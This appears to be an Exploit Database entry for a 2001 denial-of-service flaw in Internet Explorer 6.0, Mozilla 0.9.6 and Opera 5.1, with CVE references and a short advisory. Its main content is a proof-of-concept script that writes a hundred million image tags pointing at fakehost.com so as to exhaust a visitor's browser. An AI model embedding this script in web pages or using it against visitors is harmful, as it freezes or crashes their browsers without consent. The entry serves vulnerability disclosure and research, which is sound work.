Microsoft Internet Explorer 6.0 / Mozilla 0.9.6 / Opera 5.1 - Image Count Denial of Service

Author: Pavel Titov
type: dos
platform: multiple
port: 
date_added: 2001-12-11 
date_updated: 2012-09-09 
verified: 1 
codes: CVE-2001-1491;OSVDB-88015;CVE-2001-1490;OSVDB-86510;CVE-2001-1489;OSVDB-20199 
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source: https://www.securityfocus.com/bid/3684/info

An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.

An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.

Malicious webmasters may construct webpages which exploit this vulnerability.

<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>